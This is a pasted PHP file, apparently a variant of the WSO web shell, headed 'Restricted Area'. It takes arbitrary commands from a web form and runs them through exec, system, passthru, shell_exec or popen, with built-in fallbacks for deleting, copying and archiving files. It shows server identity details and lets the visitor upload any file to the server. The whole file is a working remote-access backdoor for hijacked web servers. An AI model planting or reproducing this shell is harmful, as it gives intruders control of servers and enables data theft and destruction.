· 8 years ago · Feb 13, 2018, 08:00 AM
1<?php
2
3if(strtolower(substr(PHP_OS,0,3)) == "win") {
4 define('DS', "\\") ;
5 $os = 'win';
6} else {
7 define('DS', "/") ;
8 $os = 'nix';
9}
10
11if(!function_exists("scandir")) {
12 function scandir($dir) {
13 $dh = opendir($dir);
14 while (false !== ($filename = readdir($dh)))
15 $files[] = $filename;
16 return $files;
17 }
18}
19
20function scandir_rec($dir, $dirs_only=false, $maxdepth=0, $writable=false, $no_root=false) {
21 $_content = scandir($dir) ;
22 $content = array() ;
23
24 if(!$no_root) {
25 if(is_dir($dir) || !$dirs_only) {
26 if(!$writable || is_writeable($dir)) {
27 $content[] = $dir ;
28 }
29 }
30 }
31
32 if($_content && is_array($_content)) {
33 foreach($_content as $k=>$v) {
34 if(!preg_match("/^\./", $v)) {
35 if(is_dir($dir . DS . $v) || !$dirs_only) {
36 if(!$writable || is_writeable($dir . DS . $v)) {
37 $content[] = $dir . DS . $v ;
38 }
39 }
40 }
41 if(!preg_match("/^\./", $v) && is_dir($dir . DS . $v)) {
42 if($maxdepth > 0) {
43 $__content = scandir_rec($dir . DS . $v, $dirs_only, $maxdepth-1, $writable, true) ;
44 if($__content) {
45 foreach($__content as $kk=>$vv) {
46 if(is_dir($dir . DS . $v) || !$dirs_only) {
47 if(!$writable || is_writeable($dir . DS . $vv)) {
48 $content[] = $vv ;
49 }
50 }
51 }
52 }
53 }
54 }
55 }
56 }
57 return $content ;
58}
59
60function cust_function_exists($function) {
61 $disabled = explode(', ', ini_get('disable_functions'));
62 return !in_array($function, $disabled) && function_exists($function);
63}
64
65function deleteDir($path) {
66 $path = (substr($path,-1)=='/') ? $path:$path.'/';
67 $dh = opendir($path);
68 while ( ($item = readdir($dh) ) !== false) {
69 $item = $path.$item;
70 if ( (basename($item) == "..") || (basename($item) == ".") )
71 continue;
72 if (is_dir($item)) {
73 deleteDir($item);
74 } elseif(is_file($item)) {
75 @unlink($item);
76 }
77 }
78 closedir($dh);
79 @rmdir($path);
80}
81
82function smartCopy($source, $dest, $options=array('folderPermission'=>0777,'filePermission'=>0777)) {
83 $result=false;
84
85 if (is_file($source)) {
86 if ($dest[strlen($dest)-1]=='/') {
87 if (!file_exists($dest)) {
88 cmfcDirectory::makeAll($dest,$options['folderPermission'],true);
89 }
90 $__dest=$dest."/".basename($source);
91 } else {
92 $__dest=$dest;
93 }
94 $result=copy($source, $__dest);
95 chmod($__dest,$options['filePermission']);
96
97 } elseif(is_dir($source)) {
98 if ($dest[strlen($dest)-1]=='/') {
99 if ($source[strlen($source)-1]=='/') {
100 //Copy only contents
101 } else {
102 //Change parent itself and its contents
103 $dest=$dest.basename($source);
104 @mkdir($dest);
105 chmod($dest,$options['filePermission']);
106 }
107 } else {
108 if ($source[strlen($source)-1]=='/') {
109 //Copy parent directory with new name and all its content
110 @mkdir($dest,$options['folderPermission']);
111 chmod($dest,$options['filePermission']);
112 } else {
113 //Copy parent directory with new name and all its content
114 @mkdir($dest,$options['folderPermission']);
115 chmod($dest,$options['filePermission']);
116 }
117 }
118
119 $dirHandle=opendir($source);
120 while($file=readdir($dirHandle))
121 {
122 if($file!="." && $file!="..")
123 {
124 if(!is_dir($source."/".$file)) {
125 $__dest=$dest."/".$file;
126 } else {
127 $__dest=$dest."/".$file;
128 }
129 //echo "$source/$file ||| $__dest<br />";
130 $result=smartCopy($source."/".$file, $__dest, $options);
131 }
132 }
133 closedir($dirHandle);
134
135 } else {
136 $result=false;
137 }
138 return $result;
139 }
140
141class archive
142{
143 function archive($name)
144 {
145 $this->options = array (
146 'basedir' => ".",
147 'name' => $name,
148 'prepend' => "",
149 'inmemory' => 0,
150 'overwrite' => 0,
151 'recurse' => 1,
152 'storepaths' => 1,
153 'followlinks' => 0,
154 'level' => 3,
155 'method' => 1,
156 'sfx' => "",
157 'type' => "",
158 'comment' => ""
159 );
160 $this->files = array ();
161 $this->exclude = array ();
162 $this->storeonly = array ();
163 $this->error = array ();
164 }
165
166 function set_options($options)
167 {
168 foreach ($options as $key => $value)
169 $this->options[$key] = $value;
170 if (!empty ($this->options['basedir']))
171 {
172 $this->options['basedir'] = str_replace("\\", "/", $this->options['basedir']);
173 $this->options['basedir'] = preg_replace("/\/+/", "/", $this->options['basedir']);
174 $this->options['basedir'] = preg_replace("/\/$/", "", $this->options['basedir']);
175 }
176 if (!empty ($this->options['name']))
177 {
178 $this->options['name'] = str_replace("\\", "/", $this->options['name']);
179 $this->options['name'] = preg_replace("/\/+/", "/", $this->options['name']);
180 }
181 if (!empty ($this->options['prepend']))
182 {
183 $this->options['prepend'] = str_replace("\\", "/", $this->options['prepend']);
184 $this->options['prepend'] = preg_replace("/^(\.*\/+)+/", "", $this->options['prepend']);
185 $this->options['prepend'] = preg_replace("/\/+/", "/", $this->options['prepend']);
186 $this->options['prepend'] = preg_replace("/\/$/", "", $this->options['prepend']) . "/";
187 }
188 }
189
190 function create_archive()
191 {
192 $this->make_list();
193
194 if ($this->options['inmemory'] == 0)
195 {
196 $pwd = getcwd();
197 chdir($this->options['basedir']);
198 if ($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ? ".tmp" : "")))
199 {
200 $this->error[] = "File {$this->options['name']} already exists.";
201 chdir($pwd);
202 return 0;
203 }
204 else if ($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ? ".tmp" : ""), "wb+"))
205 chdir($pwd);
206 else
207 {
208 $this->error[] = "Could not open {$this->options['name']} for writing.";
209 chdir($pwd);
210 return 0;
211 }
212 }
213 else
214 $this->archive = "";
215
216 switch ($this->options['type'])
217 {
218 case "zip":
219 if (!$this->create_zip())
220 {
221 $this->error[] = "Could not create zip file.";
222 return 0;
223 }
224 break;
225 case "bzip":
226 if (!$this->create_tar())
227 {
228 $this->error[] = "Could not create tar file.";
229 return 0;
230 }
231 if (!$this->create_bzip())
232 {
233 $this->error[] = "Could not create bzip2 file.";
234 return 0;
235 }
236 break;
237 case "gzip":
238 if (!$this->create_tar())
239 {
240 $this->error[] = "Could not create tar file.";
241 return 0;
242 }
243 if (!$this->create_gzip())
244 {
245 $this->error[] = "Could not create gzip file.";
246 return 0;
247 }
248 break;
249 case "tar":
250 if (!$this->create_tar())
251 {
252 $this->error[] = "Could not create tar file.";
253 return 0;
254 }
255 }
256
257 if ($this->options['inmemory'] == 0)
258 {
259 fclose($this->archive);
260 if ($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
261 unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
262 }
263 }
264
265 function add_data($data)
266 {
267 if ($this->options['inmemory'] == 0)
268 fwrite($this->archive, $data);
269 else
270 $this->archive .= $data;
271 }
272
273 function make_list()
274 {
275 if (!empty ($this->exclude))
276 foreach ($this->files as $key => $value)
277 foreach ($this->exclude as $current)
278 if ($value['name'] == $current['name'])
279 unset ($this->files[$key]);
280 if (!empty ($this->storeonly))
281 foreach ($this->files as $key => $value)
282 foreach ($this->storeonly as $current)
283 if ($value['name'] == $current['name'])
284 $this->files[$key]['method'] = 0;
285 unset ($this->exclude, $this->storeonly);
286 }
287
288 function add_files($list)
289 {
290 $temp = $this->list_files($list);
291 foreach ($temp as $current)
292 $this->files[] = $current;
293 }
294
295 function exclude_files($list)
296 {
297 $temp = $this->list_files($list);
298 foreach ($temp as $current)
299 $this->exclude[] = $current;
300 }
301
302 function store_files($list)
303 {
304 $temp = $this->list_files($list);
305 foreach ($temp as $current)
306 $this->storeonly[] = $current;
307 }
308
309 function list_files($list)
310 {
311 if (!is_array ($list))
312 {
313 $temp = $list;
314 $list = array ($temp);
315 unset ($temp);
316 }
317
318 $files = array ();
319
320 $pwd = getcwd();
321 chdir($this->options['basedir']);
322
323 foreach ($list as $current)
324 {
325 $current = str_replace("\\", "/", $current);
326 $current = preg_replace("/\/+/", "/", $current);
327 $current = preg_replace("/\/$/", "", $current);
328 if (strstr($current, "*"))
329 {
330 $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/", "\\\\\\1", $current);
331 $regex = str_replace("*", ".*", $regex);
332 $dir = strstr($current, "/") ? substr($current, 0, strrpos($current, "/")) : ".";
333 $temp = $this->parse_dir($dir);
334 foreach ($temp as $current2)
335 if (preg_match("/^{$regex}$/i", $current2['name']))
336 $files[] = $current2;
337 unset ($regex, $dir, $temp, $current);
338 }
339 else if (@is_dir($current))
340 {
341 $temp = $this->parse_dir($current);
342 foreach ($temp as $file)
343 $files[] = $file;
344 unset ($temp, $file);
345 }
346 else if (@file_exists($current))
347 $files[] = array ('name' => $current, 'name2' => $this->options['prepend'] .
348 preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($current, "/")) ?
349 substr($current, strrpos($current, "/") + 1) : $current),
350 'type' => @is_link($current) && $this->options['followlinks'] == 0 ? 2 : 0,
351 'ext' => substr($current, strrpos($current, ".")), 'stat' => stat($current));
352 }
353
354 chdir($pwd);
355
356 unset ($current, $pwd);
357
358 usort($files, array ("archive", "sort_files"));
359
360 return $files;
361 }
362
363 function parse_dir($dirname)
364 {
365 if ($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/", $dirname))
366 $files = array (array ('name' => $dirname, 'name2' => $this->options['prepend'] .
367 preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($dirname, "/")) ?
368 substr($dirname, strrpos($dirname, "/") + 1) : $dirname), 'type' => 5, 'stat' => stat($dirname)));
369 else
370 $files = array ();
371 $dir = @opendir($dirname);
372
373 while ($file = @readdir($dir))
374 {
375 $fullname = $dirname . "/" . $file;
376 if ($file == "." || $file == "..")
377 continue;
378 else if (@is_dir($fullname))
379 {
380 if (empty ($this->options['recurse']))
381 continue;
382 $temp = $this->parse_dir($fullname);
383 foreach ($temp as $file2)
384 $files[] = $file2;
385 }
386 else if (@file_exists($fullname))
387 $files[] = array ('name' => $fullname, 'name2' => $this->options['prepend'] .
388 preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($fullname, "/")) ?
389 substr($fullname, strrpos($fullname, "/") + 1) : $fullname),
390 'type' => @is_link($fullname) && $this->options['followlinks'] == 0 ? 2 : 0,
391 'ext' => substr($file, strrpos($file, ".")), 'stat' => stat($fullname));
392 }
393
394 @closedir($dir);
395
396 return $files;
397 }
398
399 function sort_files($a, $b)
400 {
401 if ($a['type'] != $b['type'])
402 if ($a['type'] == 5 || $b['type'] == 2)
403 return -1;
404 else if ($a['type'] == 2 || $b['type'] == 5)
405 return 1;
406 else if ($a['type'] == 5)
407 return strcmp(strtolower($a['name']), strtolower($b['name']));
408 else if ($a['ext'] != $b['ext'])
409 return strcmp($a['ext'], $b['ext']);
410 else if ($a['stat'][7] != $b['stat'][7])
411 return $a['stat'][7] > $b['stat'][7] ? -1 : 1;
412 else
413 return strcmp(strtolower($a['name']), strtolower($b['name']));
414 return 0;
415 }
416
417 function download_file()
418 {
419 if ($this->options['inmemory'] == 0)
420 {
421 $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
422 return;
423 }
424 switch ($this->options['type'])
425 {
426 case "zip":
427 header("Content-Type: application/zip");
428 break;
429 case "bzip":
430 header("Content-Type: application/x-bzip2");
431 break;
432 case "gzip":
433 header("Content-Type: application/x-gzip");
434 break;
435 case "tar":
436 header("Content-Type: application/x-tar");
437 }
438 $header = "Content-Disposition: attachment; filename=\"";
439 $header .= strstr($this->options['name'], "/") ? substr($this->options['name'], strrpos($this->options['name'], "/") + 1) : $this->options['name'];
440 $header .= "\"";
441 header($header);
442 header("Content-Length: " . strlen($this->archive));
443 header("Content-Transfer-Encoding: binary");
444 header("Cache-Control: no-cache, must-revalidate, max-age=60");
445 header("Expires: Sat, 01 Jan 2000 12:00:00 GMT");
446 print($this->archive);
447 }
448}
449
450class tar_file extends archive
451{
452 function tar_file($name)
453 {
454 $this->archive($name);
455 $this->options['type'] = "tar";
456 }
457
458 function create_tar()
459 {
460 $pwd = getcwd();
461 chdir($this->options['basedir']);
462
463 foreach ($this->files as $current)
464 {
465 if ($current['name'] == $this->options['name'])
466 continue;
467 if (strlen($current['name2']) > 99)
468 {
469 $path = substr($current['name2'], 0, strpos($current['name2'], "/", strlen($current['name2']) - 100) + 1);
470 $current['name2'] = substr($current['name2'], strlen($path));
471 if (strlen($path) > 154 || strlen($current['name2']) > 99)
472 {
473 $this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long.";
474 continue;
475 }
476 }
477 $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12", $current['name2'], sprintf("%07o",
478 $current['stat'][2]), sprintf("%07o", $current['stat'][4]), sprintf("%07o", $current['stat'][5]),
479 sprintf("%011o", $current['type'] == 2 ? 0 : $current['stat'][7]), sprintf("%011o", $current['stat'][9]),
480 " ", $current['type'], $current['type'] == 2 ? @readlink($current['name']) : "", "ustar ", " ",
481 "Unknown", "Unknown", "", "", !empty ($path) ? $path : "", "");
482
483 $checksum = 0;
484 for ($i = 0; $i < 512; $i++)
485 $checksum += ord(substr($block, $i, 1));
486 $checksum = pack("a8", sprintf("%07o", $checksum));
487 $block = substr_replace($block, $checksum, 148, 8);
488
489 if ($current['type'] == 2 || $current['stat'][7] == 0)
490 $this->add_data($block);
491 else if ($fp = @fopen($current['name'], "rb"))
492 {
493 $this->add_data($block);
494 while ($temp = fread($fp, 1048576))
495 $this->add_data($temp);
496 if ($current['stat'][7] % 512 > 0)
497 {
498 $temp = "";
499 for ($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
500 $temp .= "\0";
501 $this->add_data($temp);
502 }
503 fclose($fp);
504 }
505 else
506 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
507 }
508
509 $this->add_data(pack("a1024", ""));
510
511 chdir($pwd);
512
513 return 1;
514 }
515
516 function extract_files()
517 {
518 $pwd = getcwd();
519 chdir($this->options['basedir']);
520
521 if ($fp = $this->open_archive())
522 {
523 if ($this->options['inmemory'] == 1)
524 $this->files = array ();
525
526 while ($block = fread($fp, 512))
527 {
528 $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100symlink/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp", $block);
529 $file = array (
530 'name' => $temp['prefix'] . $temp['name'],
531 'stat' => array (
532 2 => $temp['mode'],
533 4 => octdec($temp['uid']),
534 5 => octdec($temp['gid']),
535 7 => octdec($temp['size']),
536 9 => octdec($temp['mtime']),
537 ),
538 'checksum' => octdec($temp['checksum']),
539 'type' => $temp['type'],
540 'magic' => $temp['magic'],
541 );
542 if ($file['checksum'] == 0x00000000)
543 break;
544 else if (substr($file['magic'], 0, 5) != "ustar")
545 {
546 $this->error[] = "This script does not support extracting this type of tar file.";
547 break;
548 }
549 $block = substr_replace($block, " ", 148, 8);
550 $checksum = 0;
551 for ($i = 0; $i < 512; $i++)
552 $checksum += ord(substr($block, $i, 1));
553 if ($file['checksum'] != $checksum)
554 $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
555
556 if ($this->options['inmemory'] == 1)
557 {
558 $file['data'] = fread($fp, $file['stat'][7]);
559 fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512));
560 unset ($file['checksum'], $file['magic']);
561 $this->files[] = $file;
562 }
563 else if ($file['type'] == 5)
564 {
565 if (!is_dir($file['name']))
566 mkdir($file['name'], $file['stat'][2]);
567 }
568 else if ($this->options['overwrite'] == 0 && file_exists($file['name']))
569 {
570 $this->error[] = "{$file['name']} already exists.";
571 continue;
572 }
573 else if ($file['type'] == 2)
574 {
575 symlink($temp['symlink'], $file['name']);
576 chmod($file['name'], $file['stat'][2]);
577 }
578 else if ($new = @fopen($file['name'], "wb"))
579 {
580 fwrite($new, fread($fp, $file['stat'][7]));
581 fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512));
582 fclose($new);
583 chmod($file['name'], $file['stat'][2]);
584 }
585 else
586 {
587 $this->error[] = "Could not open {$file['name']} for writing.";
588 continue;
589 }
590 chown($file['name'], $file['stat'][4]);
591 chgrp($file['name'], $file['stat'][5]);
592 touch($file['name'], $file['stat'][9]);
593 unset ($file);
594 }
595 }
596 else
597 $this->error[] = "Could not open file {$this->options['name']}";
598
599 chdir($pwd);
600 }
601
602 function open_archive()
603 {
604 return @fopen($this->options['name'], "rb");
605 }
606}
607
608class gzip_file extends tar_file
609{
610 function gzip_file($name)
611 {
612 $this->tar_file($name);
613 $this->options['type'] = "gzip";
614 }
615
616 function create_gzip()
617 {
618 if ($this->options['inmemory'] == 0)
619 {
620 $pwd = getcwd();
621 chdir($this->options['basedir']);
622 if ($fp = gzopen($this->options['name'], "wb{$this->options['level']}"))
623 {
624 fseek($this->archive, 0);
625 while ($temp = fread($this->archive, 1048576))
626 gzwrite($fp, $temp);
627 gzclose($fp);
628 chdir($pwd);
629 }
630 else
631 {
632 $this->error[] = "Could not open {$this->options['name']} for writing.";
633 chdir($pwd);
634 return 0;
635 }
636 }
637 else
638 $this->archive = gzencode($this->archive, $this->options['level']);
639
640 return 1;
641 }
642
643 function open_archive()
644 {
645 return @gzopen($this->options['name'], "rb");
646 }
647}
648
649class bzip_file extends tar_file
650{
651 function bzip_file($name)
652 {
653 $this->tar_file($name);
654 $this->options['type'] = "bzip";
655 }
656
657 function create_bzip()
658 {
659 if ($this->options['inmemory'] == 0)
660 {
661 $pwd = getcwd();
662 chdir($this->options['basedir']);
663 if ($fp = bzopen($this->options['name'], "wb"))
664 {
665 fseek($this->archive, 0);
666 while ($temp = fread($this->archive, 1048576))
667 bzwrite($fp, $temp);
668 bzclose($fp);
669 chdir($pwd);
670 }
671 else
672 {
673 $this->error[] = "Could not open {$this->options['name']} for writing.";
674 chdir($pwd);
675 return 0;
676 }
677 }
678 else
679 $this->archive = bzcompress($this->archive, $this->options['level']);
680
681 return 1;
682 }
683
684 function open_archive()
685 {
686 return @bzopen($this->options['name'], "rb");
687 }
688}
689
690class zip_file extends archive
691{
692 function zip_file($name)
693 {
694 $this->archive($name);
695 $this->options['type'] = "zip";
696 }
697
698 function create_zip()
699 {
700 $files = 0;
701 $offset = 0;
702 $central = "";
703
704 if (!empty ($this->options['sfx']))
705 if ($fp = @fopen($this->options['sfx'], "rb"))
706 {
707 $temp = fread($fp, filesize($this->options['sfx']));
708 fclose($fp);
709 $this->add_data($temp);
710 $offset += strlen($temp);
711 unset ($temp);
712 }
713 else
714 $this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
715
716 $pwd = getcwd();
717 chdir($this->options['basedir']);
718
719 foreach ($this->files as $current)
720 {
721 if ($current['name'] == $this->options['name'])
722 continue;
723
724 $timedate = explode(" ", date("Y n j G i s", $current['stat'][9]));
725 $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
726 ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);
727
728 $block = pack("VvvvV", 0x04034b50, 0x000A, 0x0000, (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate);
729
730 if ($current['stat'][7] == 0 && $current['type'] == 5)
731 {
732 $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000);
733 $block .= $current['name2'] . "/";
734 $this->add_data($block);
735 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
736 (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
737 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
738 $central .= $current['name2'] . "/";
739 $files++;
740 $offset += (31 + strlen($current['name2']));
741 }
742 else if ($current['stat'][7] == 0)
743 {
744 $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000);
745 $block .= $current['name2'];
746 $this->add_data($block);
747 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
748 (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
749 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
750 $central .= $current['name2'];
751 $files++;
752 $offset += (30 + strlen($current['name2']));
753 }
754 else if ($fp = @fopen($current['name'], "rb"))
755 {
756 $temp = fread($fp, $current['stat'][7]);
757 fclose($fp);
758 $crc32 = crc32($temp);
759 if (!isset($current['method']) && $this->options['method'] == 1)
760 {
761 $temp = gzcompress($temp, $this->options['level']);
762 $size = strlen($temp) - 6;
763 $temp = substr($temp, 2, $size);
764 }
765 else
766 $size = strlen($temp);
767 $block .= pack("VVVvv", $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000);
768 $block .= $current['name2'];
769 $this->add_data($block);
770 $this->add_data($temp);
771 unset ($temp);
772 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
773 (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
774 $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, 0x00000000, $offset);
775 $central .= $current['name2'];
776 $files++;
777 $offset += (30 + strlen($current['name2']) + $size);
778 }
779 else
780 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
781 }
782
783 $this->add_data($central);
784
785 $this->add_data(pack("VvvvvVVv", 0x06054b50, 0x0000, 0x0000, $files, $files, strlen($central), $offset,
786 !empty ($this->options['comment']) ? strlen($this->options['comment']) : 0x0000));
787
788 if (!empty ($this->options['comment']))
789 $this->add_data($this->options['comment']);
790
791 chdir($pwd);
792
793 return 1;
794 }
795}
796
797function copy_paste($c,$s,$d){
798 if(is_dir($c.$s)) {
799 mkdir($d.$s);
800 $h = @opendir($c.$s);
801 while (($f = @readdir($h)) !== false) {
802 if (($f != ".") and ($f != "..")) {
803 copy_paste($c.$s.DS,$f, $d.$s.DS);
804 }
805 }
806 } elseif(is_file($c.$s)) {
807 @copy($c.$s, $d.$s);
808 }
809}
810
811function system_custom($in) {
812
813 $out = '';
814 $system = false ;
815 if (cust_function_exists('exec')) {
816 $system = true ;
817 @exec($in,$out);
818 $out = @join("\n",$out);
819 } elseif (cust_function_exists('passthru')) {
820 $system = true ;
821 ob_start();
822 @passthru($in);
823 $out = ob_get_clean();
824 } elseif (cust_function_exists('system')) {
825 $system = true ;
826 ob_start();
827 @system($in);
828 $out = ob_get_clean();
829 } elseif (cust_function_exists('shell_exec')) {
830 $system = true ;
831 $out = shell_exec($in);
832 } elseif (is_resource($f = @popen($in,"r"))) {
833 $system = true ;
834 $out = "";
835 while(!@feof($f))
836 $out .= fread($f,1024);
837 pclose($f);
838 }
839
840 if($system) {
841 return $out;
842 }
843
844 $commands = explode(";", $in) ;
845
846 $out = '' ;
847 $path = '' ;
848
849 if($commands) {
850 foreach($commands as $command) {
851 $command_parts = explode(" ", $command) ;
852 $command_head = $command_parts[0] ;
853 $params = array() ;
854 if(count($command_parts) > 1) {
855 for($i=1;$i<count($command_parts);$i++) {
856 $params[] = trim($command_parts[$i]) ;
857 }
858 }
859
860 switch($command_head) {
861 case "cd":
862 if($params[0]) {
863 $path = $params[0] ;
864 if(is_dir($path)) {
865 @chdir($path) ;
866 }
867 }
868 break;
869 case "tar":
870 if(count($params) > 1) {
871 $archive = new gzip_file($params[0]);
872 $archive->set_options(array('basedir' => $path, 'overwrite' => 1, 'level' => 1));
873 $archive->add_files(array($params[1]));
874 $archive->create_archive();
875 }
876 break;
877 case "zip":
878 if(class_exists('ZipArchive') && count($params) > 1) {
879 $zip = new ZipArchive();
880 if ($zip->open($params[0], 1)) {
881 foreach($params as $k=>$param) {
882 if($k == 0 || $param == '..')
883 continue;
884 if(@is_file($param))
885 $zip->addFile($param, $param);
886 elseif(@is_dir($param)) {
887 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($param.DS));
888 foreach ($iterator as $key=>$value) {
889 $zip->addFile(realpath($key), $key);
890 }
891 }
892 }
893 $zip->close();
894 }
895 }
896 break;
897 case "unzip":
898 if(class_exists('ZipArchive') && count($params) > 0) {
899 $zip = new ZipArchive();
900 foreach($params as $k=>$param) {
901 if($zip->open($param)) {
902 $zip->extractTo($path);
903 $zip->close();
904 }
905 }
906 }
907 break;
908 case "cp":
909 smartCopy($params[0], $params[1]) ;
910 break;
911 case "mv":
912 @rename($params[0], $params[1]) ;
913 break;
914 case "rm":
915 foreach($params as $param) {
916 if(!preg_match("/^-/", $param)) {
917 if($param == '..')
918 continue;
919 $param = urldecode($param);
920 if(is_dir($param)) {
921 deleteDir($param);
922 } elseif(is_file($param)) {
923 @unlink($param);
924 }
925 }
926 }
927 break;
928 case "uname":
929 $out = php_uname(preg_replace("/^-/", "", $params[0])) ;
930 break;
931 case "find":
932 $out = scandir_rec($params[0], true, 1) ;
933 $out = implode("\n", $out) ;
934 break;
935 case "ls":
936 if(isset($params[0]) && $params[0] == '-F') {
937 $_path = $path ;
938 if(isset($params[1])) {
939 $_path = $params[1] ;
940 }
941 $out = glob($_path . '/*' , GLOB_ONLYDIR);
942 if(!empty($out)) {
943 foreach($out as $k=>$v) {
944 $out[$k] = preg_replace("/^" . preg_quote($_path.DS,DS) . "/","",$v) . DS ;
945 }
946 }
947 $out = implode("\n", $out) ;
948 } else {
949 $_path = $path ;
950 if(isset($params[1])) {
951 $_path = $params[1] ;
952 }
953 $out = glob($_path . '/*');
954 if(!empty($out)) {
955 foreach($out as $k=>$v) {
956 $out[$k] = preg_replace("/^" . preg_quote($path,DS) . "/","",$v) ;
957 }
958 }
959 $out = implode("\n", $out) ;
960 }
961 break;
962 case "mkdir":
963 @mkdir($params[0]) ;
964 break;
965 case "chmod":
966 @chmod($params[1], $params[0]) ;
967 break;
968 case "phpversion":
969 $out = phpversion() ;
970 break;
971 case "wso_version":
972 $out = "2.4";
973 break;
974 case "safemode":
975 $out = @ini_get('safe_mode') ;
976 break;
977 case 'pwd':
978 $out = getcwd() ;
979 break;
980 default:
981 break;
982 }
983 }
984 }
985
986 return $out ;
987
988}
989
990print "<style>body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}</style>";
991print "<center><h1>Restricted</h1></center>";
992print "<center><h1>Area</h1></center>";
993print "<hr><hr>";
994
995if(isset($_POST['_cwd'])) {
996 $currentWD = str_replace("\\\\","\\",$_POST['_cwd']);
997} else {
998 $currentWD = '' ;
999}
1000if(isset($_POST['_cmd'])) {
1001 $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
1002} else {
1003 $currentCMD = '' ;
1004}
1005
1006$UName = system_custom('uname -a');
1007$SCWD = system_custom('pwd');
1008$UserID = system_custom('id');
1009
1010if( $currentWD == "" ) {
1011 $currentWD = $SCWD;
1012}
1013
1014print "<table>";
1015print "<tr><td><b>?:</b></td><td>".(isset($_SERVER['REMOTE_HOST'])?$_SERVER['REMOTE_HOST']:"")." (".(isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:"").")</td></tr>";
1016print "<tr><td><b>s is:</b></td><td>".(isset($_SERVER['SERVER_SIGNATURE'])?$_SERVER['SERVER_SIGNATURE']:"")."</td></tr>";
1017print "<tr><td><b>ce e?:</b></td><td>$UName</td></tr>";
1018print "<tr><td><b>wtf:</b></td><td>$UserID</td></tr>";
1019print "</table>";
1020
1021print "<hr><hr>";
1022
1023if( isset($_POST['_act']) && $_POST['_act'] == "List files!" ) {
1024 $currentCMD = "ls -la";
1025}
1026
1027print "<form method=post enctype=\"multipart/form-data\"><table>";
1028
1029print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
1030print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";
1031
1032print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
1033print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
1034
1035print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
1036print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
1037
1038print "</table></form><hr><hr>";
1039
1040$currentCMD = str_replace("\\\"","\"",$currentCMD);
1041$currentCMD = str_replace("\\\'","\'",$currentCMD);
1042
1043if( isset($_POST['_act']) && $_POST['_act'] == "Upload!" ) {
1044 if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
1045 print "<center><b>Error while uploading file!</b></center>";
1046 } else {
1047 print "<center><pre>";
1048 if(!@move_uploaded_file($_FILES['_upl']['tmp_name'], $currentWD."/".$_FILES['_upl']['name'])) {
1049 $out = system_custom("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
1050 }
1051 echo $out ;
1052 print "</pre><b>File uploaded successfully!</b></center>";
1053 }
1054} else {
1055 print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
1056 $currentCMD = "cd ".$currentWD.";".$currentCMD;
1057 $out = system_custom($currentCMD);
1058 echo $out ;
1059 print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
1060}
1061
1062exit;
1063
1064?>